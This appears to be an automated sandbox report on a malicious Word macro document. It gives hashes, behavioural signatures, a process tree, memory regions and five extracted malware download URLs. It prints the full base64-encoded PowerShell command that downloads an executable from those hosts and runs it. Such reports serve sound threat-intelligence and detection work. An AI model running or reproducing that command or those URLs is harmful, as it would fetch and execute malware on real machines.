Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    14-05-2024 03:10

General

  • Target

    3daba1a4928d4cd42331af404855f687_JaffaCakes118.doc

  • Size

    226KB

  • MD5

    3daba1a4928d4cd42331af404855f687

  • SHA1

    fafe75a79fe587c4968ee07a3469b191c6e99f41

  • SHA256

    b29fe3fb2b9909a94ea8f079abc7ea994cb8d225a327222bee2c85a5480bb32c

  • SHA512

    5d207e92d98d078d048163f3adf08862bd85dd34be9dfce063830242c64af34adf3ea79bfe63597d654572c4592ec716510450b0480d7db49e1901fa61c2621b

  • SSDEEP

    3072:fEd93LpGo0aQLh7nc7jWR4aKJtWsDbhl36EhX8TC7qU:fEd2Vxc7jWRrcdvhlqQX37qU

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://suamaygiatduchung.com/wp-admin/js/bkgiovu2mxS

exe.dropper

http://tjrtrainings.com/bhVVXzfNXCxrj3_dV

exe.dropper

http://song.lpbes.org/oKDGT3HnwA_9u

exe.dropper

http://ditib.center/2OTZiNbRxnb2

exe.dropper

http://www.gelectronics.in/wordpress/wp-content/ETGjNx1_g

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3daba1a4928d4cd42331af404855f687_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2424
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3004
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLl.exe
      powersheLl -e JABPADEAOQA2ADUANgBfAF8APQAoACcAdABfADUAMwBfACcAKwAnADIAJwArACcANgAnACkAOwAkAHUANwBfADQAMwA3ADUAXwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABvADUAMgA5ADAAMQA5AD0AKAAnAGgAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AcwAnACsAJwB1AGEAJwArACcAbQBhAHkAZwBpAGEAdABkAHUAYwAnACsAJwBoAHUAbgBnACcAKwAnAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBqAHMALwBiAGsAZwBpAG8AdgAnACsAJwB1ACcAKwAnADIAbQB4AFMAJwArACcAQABoAHQAdABwADoALwAvACcAKwAnAHQAagByAHQAJwArACcAcgBhAGkAbgBpAG4AZwBzAC4AYwAnACsAJwBvAG0ALwAnACsAJwBiAGgAVgBWAFgAJwArACcAegBmACcAKwAnAE4AWABDAHgAcgBqADMAJwArACcAXwBkAFYAQABoAHQAdAAnACsAJwBwADoALwAvAHMAbwBuAGcALgBsAHAAYgBlAHMALgBvAHIAZwAvAG8ASwBEAEcAVAAzAEgAbgB3AEEAXwA5AHUAQABoAHQAdABwACcAKwAnADoALwAvACcAKwAnAGQAJwArACcAaQB0AGkAJwArACcAYgAuAGMAZQBuAHQAZQAnACsAJwByAC8AMgBPAFQAJwArACcAWgAnACsAJwBpAE4AYgBSAHgAbgBiADIAQAAnACsAJwBoAHQAdABwACcAKwAnADoALwAvAHcAdwB3ACcAKwAnAC4AZwBlAGwAZQBjAHQAcgBvAG4AaQBjAHMALgAnACsAJwBpAG4ALwAnACsAJwB3AG8AJwArACcAcgBkAHAAcgBlAHMAcwAvAHcAcAAtAGMAbwBuAHQAZQAnACsAJwBuAHQALwBFACcAKwAnAFQARwBqAE4AeAAxAF8AJwArACcAZwAnACkALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABmADAANQAzAF8AXwA4ADEAPQAoACcASABfADgAJwArACcAXwAnACsAJwAxADAANwA5ACcAKQA7ACQASAAyADkAXwA5ADMAOQAyACAAPQAgACgAJwA5ACcAKwAnADkAMgAnACkAOwAkAE0AMAA2AF8AXwA0AD0AKAAnAEMANwBfACcAKwAnADcANAA3ADMAJwApADsAJABLADYAXwBfADMAOQBfAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABIADIAOQBfADkAMwA5ADIAKwAoACcALgBlAHgAJwArACcAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABkADUANwA5AF8AXwAgAGkAbgAgACQAbwA1ADIAOQAwADEAOQApAHsAdAByAHkAewAkAHUANwBfADQAMwA3ADUAXwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABkADUANwA5AF8AXwAsACAAJABLADYAXwBfADMAOQBfACkAOwAkAGkANwBfADUAXwBfADQAOQA9ACgAJwBPADgAOAA4ACcAKwAnADYANwAnACkAOwBJAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABLADYAXwBfADMAOQBfACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAANAAwADAAMAAwACkAIAB7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQASwA2AF8AXwAzADkAXwA7ACQARABfADMAMgA5ADAAOQA9ACgAJwBRADYANAA2AF8AXwAnACsAJwA4ACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJAByAF8ANwAwADIANgA3AD0AKAAnAHYAJwArACcAOABfACcAKwAnADcAXwBfADIAJwApADsA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1732

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      c6f660cbd087a3d1fc30f803775b1dc0

      SHA1

      2c8e83d7c409a04603449e80374c658dbda510c1

      SHA256

      dd4df75e022ad9c7ebb1148ca5f599fab11da585ee9e836bd2d513e39438863c

      SHA512

      9f7a5b117903a63d116c0e08dc47ea8f9629504273d8cc11a25594f8d2f75449350beaeb7eb54bcafc621d229190afb5a9a81662f66758da2f7004c7b66bed6a

    • memory/1732-119-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

      Filesize

      2.9MB

    • memory/1732-120-0x0000000001F50000-0x0000000001F58000-memory.dmp

      Filesize

      32KB

    • memory/2424-103-0x0000000005660000-0x0000000005760000-memory.dmp

      Filesize

      1024KB

    • memory/2424-26-0x0000000005660000-0x0000000005760000-memory.dmp

      Filesize

      1024KB

    • memory/2424-113-0x0000000005660000-0x0000000005760000-memory.dmp

      Filesize

      1024KB

    • memory/2424-91-0x0000000005660000-0x0000000005760000-memory.dmp

      Filesize

      1024KB

    • memory/2424-71-0x0000000005660000-0x0000000005760000-memory.dmp

      Filesize

      1024KB

    • memory/2424-48-0x0000000005660000-0x0000000005760000-memory.dmp

      Filesize

      1024KB

    • memory/2424-37-0x0000000005660000-0x0000000005760000-memory.dmp

      Filesize

      1024KB

    • memory/2424-0-0x000000002F391000-0x000000002F392000-memory.dmp

      Filesize

      4KB

    • memory/2424-59-0x0000000005660000-0x0000000005760000-memory.dmp

      Filesize

      1024KB

    • memory/2424-2-0x0000000070E1D000-0x0000000070E28000-memory.dmp

      Filesize

      44KB

    • memory/2424-125-0x0000000070E1D000-0x0000000070E28000-memory.dmp

      Filesize

      44KB

    • memory/2424-126-0x0000000005660000-0x0000000005760000-memory.dmp

      Filesize

      1024KB

    • memory/2424-127-0x0000000005660000-0x0000000005760000-memory.dmp

      Filesize

      1024KB

    • memory/2424-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2424-142-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2424-143-0x0000000070E1D000-0x0000000070E28000-memory.dmp

      Filesize

      44KB